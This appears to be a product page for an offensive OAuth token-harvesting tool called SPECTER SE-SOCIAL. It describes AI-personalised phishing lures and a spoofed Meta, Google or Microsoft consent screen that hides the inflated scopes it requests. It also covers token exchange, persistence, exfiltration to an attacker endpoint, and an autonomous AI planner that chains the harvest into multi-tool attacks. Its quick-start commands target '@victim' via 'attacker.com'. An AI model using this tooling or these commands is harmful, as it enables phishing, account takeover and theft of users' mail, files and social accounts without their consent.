T106 — NIGHTFALL OAuth Token Harvesting Engine

SPECTER SE-SOCIAL

They Click Allow. You Own The Session.

SPECTER SE-SOCIAL is a platform-agnostic OAuth token harvesting engine. AI-driven social engineering acquires OAuth tokens without prior access. LURE-GEN calls SPECTER PHANTOM to craft personalised lures, OAUTH-SERVER hosts a spoofed consent screen with scope inflation, TOKEN-EXCHANGE completes the code flow offline, SESSION-PERSIST stores long-lived tokens and outputs harvest commands for downstream tools.

178
Tests
8
Subsystems
4
Providers
3
Gate Tiers

Kill Chain

Eight subsystems. One continuous OAuth harvest loop.

1
RECON
2
LURE-GEN
3
OAUTH-SERVER
4
TOKEN-EXCHANGE
5
SCOPE-INFLATION
6
SESSION-PERSIST
7
EXFIL
8
REPORT
RECON

Profile enumeration via public APIs and OSINT. Maps target's platform presence, connected apps, and OAuth grant history. Feeds LURE-GEN with personalised context for social engineering payload construction.

LURE-GEN (calls SPECTER PHANTOM)

Calls SPECTER PHANTOM subprocess to generate AI-personalised lures — copyright complaint, security alert, prize notification, or custom template. Lure includes a crafted OAuth authorisation URL pointing at the OAUTH-SERVER listener.

OAUTH-SERVER

Serves a spoofed provider consent screen (Meta, Google, Microsoft, Slack). Displays narrow scope (e.g. email,public_profile) while the actual authorisation request carries full scope (e.g. ads_management,pages_manage_posts,instagram_basic).

TOKEN-EXCHANGE

Receives the authorisation code from the victim's browser redirect and completes the offline code-to-token exchange against the real provider API. Validates token via /me/permissions and records all granted scopes in a TokenResult object.

SCOPE-INFLATION

Analyses the granted token's scope surface. Where incremental consent is possible, constructs a secondary lure for scope expansion. Flags discrepancy between displayed scope and actual scope granted for the report.

SESSION-PERSIST + EXFIL

Stores harvested tokens in ~/.redspecter/ses_tokens.json. Under UNLEASHED gate, performs long-lived token refresh via provider-specific endpoints (e.g. fb_exchange_token). Outputs ready-to-run harvest command strings for SPECTER META and SPECTER PHANTOM.

Subsystems

SubsystemGateFunction
RECONOPENProfile enumeration, connected app mapping, OSINT harvest
LURE-GENINJECTAI-personalised lure generation via SPECTER PHANTOM subprocess
OAUTH-SERVERINJECTSpoofed consent screen server with scope inflation
TOKEN-EXCHANGEINJECTOffline authorisation code to access token exchange
SCOPE-INFLATIONINJECTScope gap analysis and incremental consent escalation
SESSION-PERSISTINJECTToken storage, long-lived refresh, harvest command output
EXFILUNLEASHEDToken exfiltration to attacker-controlled endpoint; unredacted in report
REPORTOPENEd25519-signed SES-{hex12} report with scope surface, WMD classification, token redacted unless UNLEASHED

Quick Start

# Install
pip install -e /path/to/red-specter-specter-se-social

# Run full harvest chain (INJECT gate)
specter-se-social \
  --gate inject run \
  --target @victim \
  --provider meta \
  --app-id 123456789 \
  --app-secret abc123def456 \
  --lhost attacker.com

# Generate lure only
specter-se-social \
  --gate inject lure \
  --target @victim \
  --provider meta \
  --lhost attacker.com \
  --template copyright

# Start spoofed consent server
specter-se-social \
  --gate inject server \
  --provider meta \
  --app-id 123456789 \
  --app-secret abc123def456 \
  --lhost attacker.com \
  --port 8080

# Harvest + persist + output META command
specter-se-social \
  --gate inject run \
  --target @victim \
  --provider meta \
  --app-id 123456789 \
  --app-secret abc123def456 \
  --lhost attacker.com \
  --persist \
  --output token.json

Gate System

GateFlagCapability
OPEN--gate openRECON, REPORT
INJECT--gate injectOPEN + LURE-GEN, OAUTH-SERVER, TOKEN-EXCHANGE, SCOPE-INFLATION, SESSION-PERSIST
UNLEASHED--gate unleashedINJECT + EXFIL (unredacted token in report, long-lived refresh enabled)

WMD Classes

oauth_mass_harvest consent_screen_hijack token_scope_inflation social_oauth_campaign

Report Format

All reports are signed with the operator's Ed25519 private key at ~/.redspecter/override_private.pem. Report IDs follow the format SES-{12 hex chars}. Reports include: session ID, target, provider, gate, scopes displayed vs scopes granted, WMD classification, token (REDACTED at INJECT gate, plaintext at UNLEASHED), and Ed25519 signature.

Providers

VersionProvidersNotes
v1.0Meta (Facebook/Instagram)Full scope inflation: ads_management, pages_manage_posts, instagram_basic, whatsapp_business_management. Integrates with SPECTER META HARVEST.
v1.1Google, MicrosoftGoogle: gmail.readonly, drive, calendar. Microsoft: Mail.Read, Files.ReadWrite, Calendars.ReadWrite via MSAL.
v1.2Slack, GitHub, DropboxSlack: channels:read, files:write. GitHub: repo, read:org. Dropbox: files.content.write.

Integrations

Calls: SPECTER PHANTOM

LURE-GEN invokes specter-phantom as a subprocess to generate AI-personalised social engineering lures. Requires SPECTER PHANTOM installed and accessible. Passes target profile data; receives lure text and metadata.

Outputs to: SPECTER META

SESSION-PERSIST outputs a ready-to-run specter-meta harvest command string when provider is Meta. The harvested access token can be piped directly into SPECTER META's full ecosystem attack chain.

Consumed by: WARLORD PRIME

SPECTER SE-SOCIAL is included in the WARLORD PRIME NIGHTFALL manifest at INJECT gate. WARLORD PRIME's DeepSeek R1 planning engine can incorporate an OAuth harvest step into autonomous multi-tool mission chains.